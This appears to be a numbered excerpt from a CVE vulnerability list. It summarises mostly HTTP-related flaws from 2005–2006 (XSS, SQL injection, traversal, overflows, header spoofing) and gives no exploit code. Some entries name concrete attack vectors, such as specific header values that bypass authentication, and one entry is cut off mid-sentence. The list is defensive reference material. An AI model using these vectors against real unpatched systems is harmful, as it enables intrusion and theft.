20228| [CVE-2006-3548] Multiple cross-site scripting (XSS) vulnerabilities in Horde Application Framework 3.0.0 through 3.0.10 and 3.1.0 through 3.1.1 allow remote attackers to inject arbitrary web script or HTML via a (1) javascript URI or an external (2) http, (3) https, or (4) ftp URI in the url parameter in services/go.php (aka the dereferrer), (5) a javascript URI in the module parameter in services/help (aka the help viewer), and (6) the name parameter in services/problem.php (aka the problem reporting screen).
20229| [CVE-2006-3546] Patrice Freydiere ImgSvr (aka ADA Image Server) allows remote attackers to cause a denial of service (daemon crash) via a long HTTP POST request. NOTE: this might be the same issue as CVE-2004-2463.
20230| [CVE-2006-3534] Directory traversal vulnerability in Nullsoft SHOUTcast DSP before 1.9.6 filters directory traversal sequences before decoding, which allows remote attackers to read arbitrary files via encoded dot dot (%2E%2E) sequences in an HTTP GET request for a file path containing "/content".
20231| [CVE-2006-3355] Heap-based buffer overflow in httpdget.c in mpg123 before 0.59s-rll allows remote attackers to execute arbitrary code via a long URL, which is not properly terminated before being used with the strncpy function. NOTE: This appears to be the result of an incomplete patch for CVE-2004-0982.
20232| [CVE-2006-3352] ** DISPUTED ** Cross-domain vulnerability in Mozilla Firefox allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object. NOTE: this description was based on a report that has since been retracted by the original authors. The authors misinterpreted their test results. Other third parties also disputed the original report. Therefore, this is not a vulnerability. It is being assigned a candidate number to provide a clear indication of its status.
20233| [CVE-2006-3290] HTTP server in Cisco Wireless Control System (WCS) for Linux and Windows before 3.2(51) stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain usernames and directory paths via a direct URL request.
20234| [CVE-2006-3289] Cross-site scripting (XSS) vulnerability in the login page of the HTTP interface for the Cisco Wireless Control System (WCS) for Linux and Windows before 3.2(51) allows remote attackers to inject arbitrary web script or HTML via unspecified vectors involving a "malicious URL".
20235| [CVE-2006-3280] Cross-domain vulnerability in Microsoft Internet Explorer 6.0 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, aka "Redirect Cross-Domain Information Disclosure Vulnerability."
20236| [CVE-2006-3276] Heap-based buffer overflow in RealNetworks Helix DNA Server 10.0 and 11.0 allows remote attackers to execute arbitrary code via (1) a long User-Agent HTTP header in the RTSP service and (2) unspecified vectors involving the "parsing of HTTP URL schemes".
20237| [CVE-2006-3226] Cisco Secure Access Control Server (ACS) 4.x for Windows uses the client's IP address and the server's port number to grant access to an HTTP server port for an administration session, which allows remote attackers to bypass authentication via various methods, aka "ACS Weak Session Management Vulnerability."
20238| [CVE-2006-3124] Buffer overflow in the HTTP header parsing in Streamripper before 1.61.26 allows remote attackers to cause a denial of service and possibly execute arbitrary code via crafted HTTP headers.
20239| [CVE-2006-3105] CRLF injection vulnerability in Bitweaver 1.3 allows remote attackers to conduct HTTP response splitting attacks by via CRLF sequences in multiple unspecified parameters that are injected into HTTP headers, as demonstrated by the BWSESSION parameter in index.php.
20240| [CVE-2006-3070] write_ok.php in Zeroboard 4.1 pl8, when installed on Apache with mod_mime, allows remote attackers to bypass restrictions for uploading files with executable extensions by uploading a .htaccess file that with an AddType directive that assigns an executable module to files with assumed-safe extensions, as demonstrated by assigning the txt extension to be handled by application/x-httpd-php.
20241| [CVE-2006-3064] SQL injection vulnerability in the add_hit function in include/function.inc.php in Coppermine Photo Gallery (CPG) 1.4.8, when "Keep detailed hit statistics" is enabled, allows remote attackers to execute arbitrary SQL commands via the (1) referer and (2) user-agent HTTP headers.
20242| [CVE-2006-3053] ** DISPUTED ** PHP remote file inclusion vulnerability in common.php in PHORUM 5.1.13 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the PHORUM[http_path] parameter. NOTE: this issue has been disputed by the vendor, who states "common.php is checked on the very first line of non-comment code that it is not being called directly. It has been this way in all 5.x version of Phorum." CVE analysis concurs with the vendor.
20243| [CVE-2006-3019] Multiple PHP remote file inclusion vulnerabilities in phpCMS 1.2.1pl2 allow remote attackers to execute arbitrary PHP code via a URL in the PHPCMS_INCLUDEPATH parameter to files in parser/include/ including (1) class.parser_phpcms.php, (2) class.session_phpcms.php, (3) class.edit_phpcms.php, (4) class.http_indexer_phpcms.php, (5) class.cache_phpcms.php, (6) class.search_phpcms.php, (7) class.lib_indexer_universal_phpcms.php, and (8) class.layout_phpcms.php, (9) parser/plugs/counter.php, and (10) parser/parser.php. NOTE: the class.cache_phpcms.php vector was also reported to affect 1.1.7.
20244| [CVE-2006-3016] Unspecified vulnerability in session.c in PHP before 5.1.3 has unknown impact and attack vectors, related to "certain characters in session names," including special characters that are frequently associated with CRLF injection, SQL injection, cross-site scripting (XSS), and HTTP response splitting vulnerabilities. NOTE: while the nature of the vulnerability is unspecified, it is likely that this is related to a violation of an expectation by PHP applications that the session name is alphanumeric, as implied in the PHP manual for session_name().
20245| [CVE-2006-2926] Stack-based buffer overflow in the WWW Proxy Server of Qbik WinGate 6.1.1.1077 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long URL HTTP request.
20246| [CVE-2006-2902] Directory traversal vulnerability in Particle Links 1.2.2 might allow remote attackers to access arbitrary files via ".." sequences in an HTTP request. NOTE: it is not clear whether this issue is legitimate, as the original researcher seems unsure.
20247| [CVE-2006-2830] Buffer overflow in TIBCO Rendezvous before 7.5.1, TIBCO Runtime Agent (TRA) before 5.4, and Hawk before 4.6.1 allows remote attackers to cause a denial of service and possibly execute arbitrary code via the HTTP administrative interface.
20248| [CVE-2006-2802] Buffer overflow in the HTTP Plugin (xineplug_inp_http.so) for xine-lib 1.1.1 allows remote attackers to cause a denial of service (application crash) via a long reply from an HTTP server, as demonstrated using gxine 0.5.6.
20249| [CVE-2006-2795] Multiple cross-site scripting (XSS) vulnerabilities in XiTi Tracking Script 6 and 7 RC allow remote attackers to inject arbitrary web script or HTML via (1) the xtref parameter in xiti.js and (2) an HTTP Referer header field. NOTE: the provenance of this information is unknown
20250| [CVE-2006-2786] HTTP response smuggling vulnerability in Mozilla Firefox and Thunderbird before 1.5.0.4, when used with certain proxy servers, allows remote attackers to cause Firefox to interpret certain responses as if they were responses from two different sites via (1) invalid HTTP response headers with spaces between the header name and the colon, which might not be ignored in some cases, or (2) HTTP 1.1 headers through an HTTP 1.0 proxy, which are ignored by the proxy but processed by the client.
20251| [CVE-2006-2769] The HTTP Inspect preprocessor (http_inspect) in Snort 2.4.0 through 2.4.4 allows remote attackers to bypass "uricontent" rules via a carriage return (\r) after the URL and before the HTTP declaration.
20252| [CVE-2006-2702] vars.php in WordPress 2.0.2, possibly when running on Mac OS X, allows remote attackers to spoof their IP address via a PC_REMOTE_ADDR HTTP header, which vars.php uses to redefine $_SERVER['REMOTE_ADDR'].
20253| [CVE-2006-2658] Directory traversal vulnerability in the xsp component in mod_mono in Mono/C# web server, as used in SUSE Open-Enterprise-Server 1 and SUSE Linux 9.2 through 10.0, allows remote attackers to read arbitrary files via a .. (dot dot) sequence in an HTTP request.
20254| [CVE-2006-2634] Cross-site scripting (XSS) vulnerability in Neocrome Land Down Under (LDU) in Neocrome Seditio 102 allows remote attackers to inject arbitrary web script or HTML via an HTTP Referer field.
20255| [CVE-2006-2587] Buffer overflow in the WebTool HTTP server component in (1) PunkBuster before 1.229, as used by multiple products including (2) America's Army 1.228 and earlier, (3) Battlefield 1942 1.158 and earlier, (4) Battlefield 2 1.184 and earlier, (5) Battlefield Vietnam 1.150 and earlier, (6) Call of Duty 1.173 and earlier, (7) Call of Duty 2 1.108 and earlier, (8) DOOM 3 1.159 and earlier, (9) Enemy Territory 1.167 and earlier, (10) Far Cry 1.150 and earlier, (11) F.E.A.R. 1.093 and earlier, (12) Joint Operations 1.187 and earlier, (13) Quake III Arena 1.150 and earlier, (14) Quake 4 1.181 and earlier, (15) Rainbow Six 3: Raven Shield 1.169 and earlier, (16) Rainbow Six 4: Lockdown 1.093 and earlier, (17) Return to Castle Wolfenstein 1.175 and earlier, and (18) Soldier of Fortune II 1.183 and earlier allows remote attackers to cause a denial of service (application crash) via a long webkey parameter.
20256| [CVE-2006-2586] Cross-site scripting (XSS) vulnerability in IpLogger 1.7 and earlier allows remote attackers to inject arbitrary HTML or web script via the HTTP_REFERER header in an HTTP request.
20257| [CVE-2006-2558] Cross-site scripting (XSS) vulnerability in IpLogger 1.7 and earlier allows remote attackers to inject arbitrary HTML or web script via the User-Agent (useragent) header in an HTTP request, which is not filtered when the log files are viewed.
20258| [CVE-2006-2531] Ipswitch WhatsUp Professional 2006 only verifies the users identity via HTTP headers, which allows remote attackers to spoof being a trusted console and bypass authentication by setting HTTP User-Agent header to "Ipswitch/1.0" and the User-Application header to "NmConsole".
20259| [CVE-2006-2489] Integer overflow in CGI scripts in Nagios 1.x before 1.4.1 and 2.x before 2.3.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a content length (Content-Length) HTTP header. NOTE: this is a different vulnerability than CVE-2006-2162.
20260| [CVE-2006-2478] Bitrix Site Manager 4.1.x allows remote attackers to redirect users to other websites via a modified back_url during a HTTP POST request. NOTE: this issue has been referred to as "cross-site scripting," but that is inconsistent with the common use of the term.
20261| [CVE-2006-2469] The HTTP handlers in BEA WebLogic Server 9.0, 8.1 up to SP5, 7.0 up to SP6, and 6.1 up to SP7 stores the username and password in cleartext in the WebLogic Server log when access to a web application or protected JWS fails, which allows attackers to gain privileges.
20262| [CVE-2006-2429] Unspecified vulnerability in IBM WebSphere Application Server 6.0.2, 6.0.2.1, 6.0.2.3, 6.0.2.5, and 6.0.2.7 has unknown impact and remote attack vectors related to "HTTP request handlers".
20263| [CVE-2006-2341] The HTTP proxy in Symantec Gateway Security 5000 Series 2.0.1 and 3.0, and Enterprise Firewall 8.0, when NAT is being used, allows remote attackers to determine internal IP addresses by using malformed HTTP requests, as demonstrated using a get request without a space separating the URI.
20264| [CVE-2006-2340] Cross-site scripting (XSS) vulnerability in PassMasterFlex and PassMasterFlexPlus (PassMasterFlex+) 1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the (1) username, (2) password, or (3) User-Agent HTTP header in the Hack Log.
20265| [CVE-2006-2330] PHP-Fusion 6.00.306 and earlier, running under Apache HTTP Server 1.3.27 and PHP 4.3.3, allows remote authenticated users to upload files of arbitrary types using a filename that contains two or more extensions that ends in an assumed-valid extension such as .gif, which bypasses the validation, as demonstrated by uploading then executing an avatar file that ends in ".php.gif" and contains PHP code in EXIF metadata.
20266| [CVE-2006-2309] The HTTP service in EServ/3 3.25 allows remote attackers to obtain sensitive information via crafted HTTP requests containing dot, space, and slash characters, which reveals the source code of script files.
20267| [CVE-2006-2222] Buffer overflow in zawhttpd 0.8.23, and possibly previous versions, allows remote attackers to cause a denial of service (daemon crash) via a request for a URI composed of several "\" (backslash) characters.
20268| [CVE-2006-2166] Unspecified vulnerability in the HTTP management interface in Cisco Unity Express (CUE) 2.2(2) and earlier, when running on any CUE Advanced Integration Module (AIM) or Network Module (NM), allows remote authenticated attackers to reset the password for any user with an expired password.
20269| [CVE-2006-2162] Buffer overflow in CGI scripts in Nagios 1.x before 1.4 and 2.x before 2.3 allows remote attackers to execute arbitrary code via a negative content length (Content-Length) HTTP header.
20270| [CVE-2006-2131] include/class_poll.php in Advanced Poll 2.0.4 uses the HTTP_X_FORWARDED_FOR (X-Forwarded-For HTTP header) to identify the IP address of a client, which makes it easier for remote attackers to spoof the source IP and bypass voting restrictions.
20271| [CVE-2006-2130] SQL injection vulnerability in include/class_poll.php in Advanced Poll 2.0.4 allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
20272| [CVE-2006-2113] The embedded HTTP server in Fuji Xerox Printing Systems (FXPS) print engine, as used in products including (1) Dell 3000cn through 5110cn and (2) Fuji Xerox DocuPrint firmware before 20060628 and Network Option Card firmware before 5.13, does not properly perform authentication for HTTP requests, which allows remote attackers to modify system configuration via crafted requests, including changing the administrator password or causing a denial of service to the print server.
20273| [CVE-2006-2023] Integer overflow in the RTSP_msg_len function in rtsp/RTSP_msg_len.c in Fenice 1.10 and earlier allows remote attackers to cause a denial of service (application crash) via a large HTTP Content-Length value, which leads to an invalid memory access.
20274| [CVE-2006-1989] Buffer overflow in the get_database function in the HTTP client in Freshclam in ClamAV 0.80 to 0.88.1 might allow remote web servers to execute arbitrary code via long HTTP headers.
20275| [CVE-2006-1931] The HTTP/XMLRPC server in Ruby before 1.8.2 uses blocking sockets, which allows attackers to cause a denial of service (blocked connections) via a large amount of data.
20276| [CVE-2006-1828] SQL injection vulnerability in php121language.php in PHP121 1.4 allows remote attackers to execute arbitrary SQL commands and execute arbitrary code via the sess_username variable, as set by the php121un HTTP COOKIE parameter, which is used in multiple files including php121login.php. NOTE: the code execution occurs because the SQL query results are used in an include statement.
20277| [CVE-2006-1787] Adobe Document Server for Reader Extensions 6.0 includes a user's session (jsession) ID in the HTTP Referer header, which allows remote attackers to gain access to PDF files that are being processed within that session.
20278| [CVE-2006-1785] Adobe Document Server for Reader Extensions 6.0 allows remote authenticated users to inject arbitrary web script via a leading (1) ftp or (2) http URI in the ReaderURL variable in the "Update Download Site" section of ads-readerext. NOTE: it is not clear whether the vendor advisory addresses this issue. In addition, since the issue requires administrative privileges to exploit, it is not clear whether this crosses security boundaries.
20279| [CVE-2006-1774] HP System Management Homepage (SMH) 2.1.3.132, when running on CompaqHTTPServer/9.9 on Windows, Linux, or Tru64 UNIX, and when "Trust by Certificates" is not enabled, allows remote attackers to bypass authentication via a crafted URL.
20280| [CVE-2006-1714] CRLF injection vulnerability in index.php in Christoph Roeder phpMyForum 4.0 allows remote attackers to inject HTTP headers via hex-encoded CRLF sequences in the type parameter.
20281| [CVE-2006-1681] Cross-site scripting (XSS) vulnerability in Cherokee HTTPD 0.5 and earlier allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated.
20282| [CVE-2006-1672] The installation of Cisco Transport Controller (CTC) for Cisco Optical Networking System (ONS) 15000 series nodes adds a Java policy file entry with a wildcard that grants the java.security.AllPermission permission to any http URL containing "fs/LAUNCHER.jar", which allows remote attackers to execute arbitrary code on a CTC workstation, aka bug ID CSCea25049.
20283| [CVE-2006-1654] Directory traversal vulnerability in the HP Color LaserJet 2500 Toolbox and Color LaserJet 4600 Toolbox on Microsoft Windows before 20060402 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request to TCP port 5225.
20284| [CVE-2006-1645] Cross-site scripting (XSS) vulnerability in Anton Vlasov and Rostislav Gaitkuloff ReloadCMS 1.2.5 and earlier allows remote attackers to inject arbitrary web script or HTML and gain leverage to execute arbitrary PHP code via the User-Agent HTTP header, which is displayed by admin/modules/general/statistic.php in the administration panel.
20285| [CVE-2006-1631] Unspecified vulnerability in the HTTP compression functionality in Cisco CSS 11500 Series Content Services switches allows remote attackers to cause a denial of service (device reload) via (1) "valid, but obsolete" or (2) "specially crafted" HTTP requests.
20286| [CVE-2006-1619] IBM WebSphere Application Server 4.0.1 through 4.0.3 allows remote attackers to cause a denial of service (application crash) via an HTTP request with a large header.
20287| [CVE-2006-1598] AN HTTPD 1.42n, and possibly other versions before 1.42p, allows remote attackers to obtain source code of scripts via crafted requests with (1) dot and (2) space characters in the file extension.
20288| [CVE-2006-1351] BEA WebLogic Server 6.1 SP7 and earlier allows remote attackers to read arbitrary files via unknown attack vectors related to a "default internal servlet" accessed through HTTP.
20289| [CVE-2006-1339] Directory traversal vulnerability in inc/functions.inc.php in CuteNews 1.4.1 and possibly other versions, when register_globals is enabled, allows remote attackers to include arbitrary files via a .. (dot dot) sequence and trailing NULL (%00) byte in the archive parameter in an HTTP POST or COOKIE request, which bypasses a sanity check that is only applied to a GET request.
20290| [CVE-2006-1282] CRLF injection vulnerability in inc/function.php in MyBulletinBoard (MyBB) 1.04 allows remote attackers to conduct cross-site scripting (XSS), poison caches, or hijack pages via CRLF (%0A%0D) sequences in the Referrer HTTP header field, possibly when redirecting to other web pages.
20291| [CVE-2006-1234] SQL injection vulnerability in index.php in DSCounter 1.2, with magic_quotes_gpc disabled, allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For field (HTTP_X_FORWARDED_FOR environment variable) in an HTTP header.
20292| [CVE-2006-1218] Unspecified vulnerability in the HTTP proxy in Novell BorderManager 3.8 and earlier allows remote attackers to cause a denial of service (CPU consumption and ABEND) via unknown attack vectors related to "media streaming over HTTP 1.1".
20293| [CVE-2006-1159] Format string vulnerability in Easy File Sharing (EFS) Web Server 3.2 allows remote attackers to cause a denial of service (server crash) and possibly execute arbitrary code via format string specifiers in the query string argument in an HTTP GET request.
20294| [CVE-2006-1148] Multiple stack-based buffer overflows in the procConnectArgs function in servmgr.cpp in PeerCast before 0.1217 allow remote attackers to execute arbitrary code via an HTTP GET request with a long (1) parameter name or (2) value in a URL, which triggers the overflow in the nextCGIarg function in servhs.cpp.
20295| [CVE-2006-1127] Cross-site scripting (XSS) vulnerability in Gallery 2 up to 2.0.2 allows remote attackers to inject arbitrary web script or HTML via the X-Forwarded-For (X_FORWARDED_FOR) HTTP header, which is not properly handled when adding a comment to an album.
20296| [CVE-2006-1126] Gallery 2 up to 2.0.2 allows remote attackers to spoof their IP address via a modified X-Forwarded-For (X_FORWARDED_FOR) HTTP header, which is checked by Gallery before other more reliable sources of IP address information, such as REMOTE_ADDR.
20297| [CVE-2006-1084] Multiple SQL injection vulnerabilities in PHP-Stats 0.1.9.1 and earlier allow remote attackers to execute arbitrary SQL commands via (1) the option[prefix] parameter in admin.php and other unspecified PHP scripts, and (2) the PC_REMOTE_ADDR HTTP header to click.php.
20298| [CVE-2006-1079] htpasswd, as used in Acme thttpd 2.25b and possibly other products such as Apache, might allow local users to gain privileges via shell metacharacters in a command line argument, which is used in a call to the system function. NOTE: since htpasswd is normally installed as a non-setuid program, and the exploit is through command line options, perhaps this issue should not be included in CVE. However, if there are some typical or recommended configurations that use htpasswd with sudo privileges, or common products that access htpasswd remotely, then perhaps it should be included.
20299| [CVE-2006-1078] Multiple buffer overflows in htpasswd, as used in Acme thttpd 2.25b, and possibly other products such as Apache, might allow local users to gain privileges via (1) a long command line argument and (2) a long line in a file. NOTE: since htpasswd is normally installed as a non-setuid program, and the exploit is through command line options, perhaps this issue should not be included in CVE. However, if there are some typical or recommended configurations that use htpasswd with sudo privileges, or common products that access htpasswd remotely, then perhaps it should be included.
20300| [CVE-2006-1039] SAP Web Application Server (WebAS) Kernel before 7.0 allows remote attackers to inject arbitrary bytes into the HTTP response and obtain sensitive authentication information, or have other impacts, via a "
20301| [CVE-2006-1012] SQL injection vulnerability in WordPress 1.5.2, and possibly other versions before 2.0, allows remote attackers to execute arbitrary SQL commands via the User-Agent field in an HTTP header for a comment.
20302| [CVE-2006-0957] Direct static code injection vulnerability in func.inc.php in ZoneO-Soft freeForum before 1.2.1 allows remote attackers to execute arbitrary PHP code via the (1) X-Forwarded-For and (2) Client-Ip HTTP headers, which are stored in Data/flood.db.php.
20303| [CVE-2006-0949] RaidenHTTPD 1.1.47 allows remote attackers to obtain source code of script files, including PHP, via crafted requests involving (1) "." (dot), (2) space, and (3) "/" (slash) characters.
20304| [CVE-2006-0917] Melange Chat Server (aka M-Chat), when accessed via a web browser, automatically sends cookies and other sensitive information for a server to any port specified in the associated link, which allows local users on that server to read the cookies from HTTP headers and possibly gain sensitive information, such as credentials, by setting up a listening port and reading the credentials when the victim clicks on the link.
20305| [CVE-2006-0896] Cross-site scripting (XSS) vulnerability in Sources/Register.php in Simple Machine Forum (SMF) 1.0.6 allows remote attackers to inject arbitrary web script or HTML via the X-Forwarded-For HTTP header field.
20306| [CVE-2006-0864] filescan in Global Hauri ViRobot 2.0 20050817 does not verify the Cookie HTTP header, which allows remote attackers to gain administrative privileges via an arbitrary cookie value.
20307| [CVE-2006-0860] Multiple cross-site scripting (XSS) vulnerabilities in Michael Salzer Guestbox 0.6, and other versions before 0.8, allow remote attackers to inject arbitrary web script or HTML via (1) HTML tags that follow a "http://" string, which bypasses a regular expression check, and (2) other unspecified attack vectors.
20308| [CVE-2006-0852] Direct static code injection vulnerability in write.php in Admbook 1.2.2 and earlier allows remote attackers to execute arbitrary PHP code via the X-Forwarded-For HTTP header field, which is inserted into content-data.php.
20309| [CVE-2006-0846] Multiple cross-site scripting (XSS) vulnerabilities in Leif M. Wright's Blog 3.5 allow remote attackers to inject arbitrary web script or HTML via the (1) Referer and (2) User-Agent HTTP headers, which are stored in a log file and not sanitized when the administrator views the "Log" page, possibly using the ViewCommentsLog function.
20310| [CVE-2006-0829] Cross-site scripting vulnerability in E-Blah Platinum 9.7 allows remote attackers to inject arbitrary web script or HTML via the referer (HTTP_REFERER), which is not sanitized when the log file is viewed by the administrator using "Click Log".
20311| [CVE-2006-0820] Cross-site scripting (XSS) vulnerability in Dwarf HTTP Server 1.3.2 allows remote attackers to inject arbitrary web script or HTML via unspecified error messages.
20312| [CVE-2006-0819] Dwarf HTTP Server 1.3.2 allows remote attackers to obtain the source code of JSP files via (1) dot, (2) space, (3) slash, or (4) NULL characters in the filename extension of an HTTP request.
20313| [CVE-2006-0814] response.c in Lighttpd 1.4.10 and possibly previous versions, when run on Windows, allows remote attackers to read arbitrary source code via requests that contain trailing (1) "." (dot) and (2) space characters, which are ignored by Windows, as demonstrated by PHP files.
20314| [CVE-2006-0805] The CAPTCHA functionality in php-Nuke 6.0 through 7.9 uses fixed challenge/response pairs that only vary once per day based on the User Agent (HTTP_USER_AGENT), which allows remote attackers to bypass CAPTCHA controls by fixing the User Agent, performing a valid challenge/response, then replaying that pair in the random_num and gfx_check parameters.
20315| [CVE-2006-0786] Incomplete blacklist vulnerability in include.php in PHPKIT 1.6.1 Release 2 and earlier, with allow_url_fopen enabled, allows remote attackers to conduct PHP remote file include attacks via a path parameter that specifies a (1) UNC share or (2) ftps URL, which bypasses the check for "http://", "ftp://", and "https://" URLs.
20316| [CVE-2006-0784] D-Link DWL-G700AP with firmware 2.00 and 2.01 allows remote attackers to cause a denial of service (CAMEO HTTP service crash) via a request composed of "GET" followed by a space and two newlines, possibly triggering the crash due to missing arguments.
20317| [CVE-2006-0760] LightTPD 1.4.8 and earlier, when the web root is on a case-insensitive filesystem, allows remote attackers to bypass URL checks and obtain sensitive information via file extensions with unexpected capitalization, as demonstrated by a request for index.PHP when the configuration invokes the PHP interpreter only for ".php" names.
20318| [CVE-2006-0707] PyBlosxom before 1.3.2, when running on certain webservers, allows remote attackers to read arbitrary files via an HTTP request with multiple leading / (slash) characters, which is accessed using the PATH_INFO variable.
20319| [CVE-2006-0627] Cross-site scripting (XSS) vulnerability in Clever Copy 2.0, 2.0a, and 3.0 allows remote attackers to inject arbitrary web script or HTML via the (1) Referer or (2) X-Forwarded-For headers in an HTTP request, which are not properly handled when the administrator accesses Site Stats.
20320| [CVE-2006-0515] Cisco PIX/ASA 7.1.x before 7.1(2) and 7.0.x before 7.0(5), PIX 6.3.x before 6.3.5(112), and FWSM 2.3.x before 2.3(4) and 3.x before 3.1(7), when used with Websense/N2H2, allows remote attackers to bypass HTTP access restrictions by splitting the GET method of an HTTP request into multiple packets, which prevents the request from being sent to Websense for inspection, aka bugs CSCsc67612, CSCsc68472, and CSCsd81734.
20321| [CVE-2006-0495] Cross-site scripting (XSS) vulnerability in the Add Thread to Favorites feature in usercp2.php in MyBB (aka MyBulletinBoard) 1.02 allows remote attackers to inject arbitrary web script or HTML via an HTTP Referer header ($url variable).
20322| [CVE-2006-0483] Cisco VPN 3000 series concentrators running software 4.7.0 through 4.7.2.A allow remote attackers to cause a denial of service (device reload or user disconnect) via a crafted HTTP packet.
20323| [CVE-2006-0461] Cross-site scripting (XSS) vulnerability in core.input.php in ExpressionEngine 1.4.1 allows remote attackers to inject arbitrary web script or HTML via HTTP_REFERER (referer).
20324| [CVE-2006-0388] Safari in Mac OS X 10.3 before 10.3.9 and 10.4 before 10.4.5 allows remote attackers to redirect users to local files and execute arbitrary JavaScript via unspecified vectors involving HTTP redirection to local resources.
20325| [CVE-2006-0362] TippingPoint Intrusion Prevention System (IPS) TOS before 2.1.4.6324, and TOS 2.2.x before 2.2.1.6506, allow remote attackers to cause a denial of service (CPU consumption) via an unknown vector, probably involving an HTTP request with a negative number in the Content-Length header.
20326| [CVE-2006-0342] RockLiffe MailSite HTTP Mail management agent (httpma) 7.0.3.1 allows remote attackers to cause a denial of service (CPU consumption and crash) via a malformed query string containing special characters such as "|".
20327| [CVE-2006-0287] Unspecified vulnerability in the Oracle HTTP Server component of Oracle Database Server 10.1.0.5 and Application Server 10.1.2.0.2 has unspecified impact and attack vectors, as identified by Oracle Vuln# OHS02.
20328| [CVE-2006-0286] Unspecified vulnerability in the Oracle HTTP Server component of Oracle Database Server 9.0.1.5, 9.0.1.5 FIPS, 9.2.0.7, and 10.1.0.5, and Application Server 1.0.2.2, 9.0.4.2, and 10.1.2.0.2, has unspecified impact and attack vectors, as identified by Oracle Vuln# OHS01.
20329| [CVE-2006-0248] Virata-EmWeb web server 6_1_0, as used in (1) Intracom JetSpeed 500 and 520 and (2) Allied Data Technologies CopperJet 811 RouterPlus, allows remote attackers to access privileged information, such as user lists and configuration settings, via direct HTTP requests.
20330| [CVE-2006-0207] Multiple HTTP response splitting vulnerabilities in PHP 5.1.1 allow remote attackers to inject arbitrary HTTP headers via a crafted Set-Cookie header, related to the (1) session extension (aka ext/session) and the (2) header function.
20331| [CVE-2006-0201] Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php.
20332| [CVE-2006-0084] Cross-site scripting vulnerability in index.php in raSMP 2.0.0 and earlier allows remote attackers to inject arbitrary web script or HTML via the $_SERVER[HTTP_USER_AGENT] variable (User-Agent header).
20333| [CVE-2006-0081] ialmnt5.sys in the ialmrnt5 display driver in Intel Graphics Accelerator Driver 6.14.10.4308 allows attackers to cause a denial of service (crash or screen resolution change) via a long text field, as demonstrated using a long window title.
20334| [CVE-2006-0051] Buffer overflow in playlistimport.cpp in Kaffeine Player 0.4.2 through 0.7.1 allows user-assisted attackers to execute arbitrary code via long HTTP request headers when Kaffeine is "fetching remote playlists", which triggers the overflow in the http_peek function.
20335| [CVE-2005-4874] The XMLHttpRequest object in Mozilla 1.7.8 supports the HTTP TRACE method, which allows remote attackers to obtain (1) proxy authentication passwords via a request with a "Max-Forwards: 0" header or (2) arbitrary local passwords on the web server that hosts this object.
20336| [CVE-2005-4857] eZ publish 3.5 before 3.5.7, 3.6 before 3.6.5, 3.7 before 3.7.3, and 3.8 before 20051128 allows remote authenticated users to cause a denial of service (Apache httpd segmentation fault) via a request to content/advancedsearch.php with an empty SearchContentClassID parameter, reportedly related to a "memory addressing error".
20337| [CVE-2005-4836] The HTTP/1.1 connector in Apache Tomcat 4.1.15 through 4.1.40 does not reject NULL bytes in a URL when allowLinking is configured, which allows remote attackers to read JSP source files and obtain sensitive information.
20338| [CVE-2005-4830] CRLF injection vulnerability in viewcvs in ViewCVS 0.9.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the content-type parameter.
20339| [CVE-2005-4827] Internet Explorer 6.0, and possibly other versions, allows remote attackers to bypass the same origin security policy and make requests outside of the intended domain by calling open on an XMLHttpRequest object (Microsoft.XMLHTTP) and using tab, newline, and carriage return characters within the first argument (method name), which is supported by some proxy servers that convert tabs to spaces. NOTE: this issue can be leveraged to conduct referer spoofing, HTTP Request Smuggling, and other attacks.
20340| [CVE-2005-4823] Buffer overflow in the HP HTTP Server 5.0 through 5.95 of the HP Web-enabled Management Software allows remote attackers to execute arbitrary code via unknown vectors.
20341| [CVE-2005-4814] Unrestricted file upload vulnerability in Segue CMS before 1.3.6, when the Apache HTTP Server handles .phtml files with the PHP interpreter, allows remote attackers to upload and execute arbitrary PHP code by placing .phtml files in the userfiles/ directory.
20342| [CVE-2005-4810] Microsoft Internet Explorer 7.0 Beta3 and earlier allows remote attackers to cause a denial of service (crash) via a "text/html" HTML Content-type header sent in response to an XMLHttpRequest (AJAX).
20343| [CVE-2005-4758] Unspecified vulnerability in the Administration server in BEA WebLogic Server and WebLogic Express 8.1 SP3 and earlier allows remote authenticated Admin users to read arbitrary files via unknown attack vectors related to an "internal servlet" accessed through HTTP.
20344| [CVE-2005-4749] HTTP request smuggling vulnerability in BEA WebLogic Server and WebLogic Express 8.1 SP4 and earlier, 7.0 SP6 and earlier, and 6.1 SP7 and earlier allows remote attackers to inject arbitrary HTTP headers via unspecified attack vectors.
20345| [CVE-2005-4731] The Next action in PEAR HTML_QuickForm_Controller 1.0.4 includes the SID in the URL even when session.use_only_cookies is configured, which allows remote attackers to obtain the SID via an HTTP Referer field and possibly other vectors.
20346| [CVE-2005-4727] Cross-site scripting (XSS) vulnerability in gbook.cgi in gBook before 1.0.2 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header field.
20347| [CVE-2005-4724] SQL injection vulnerability in post.php in PhpTagCool 1.0.3 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For field in an HTTP header.
20348| [CVE-2005-4712] CRLF injection vulnerability in process_signup.php in PHP Handicapper allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in the login parameter. NOTE: the vendor has disputed CVE-2005-3497, and it is possible that the dispute was intended to include this issue as well.
20349| [CVE-2005-4711] SQL injection vulnerability in Neocrome Land Down Under (LDU) 801 allows remote attackers to execute arbitrary SQL commands via an HTTP Referer header. NOTE: the provenance of this information is unknown
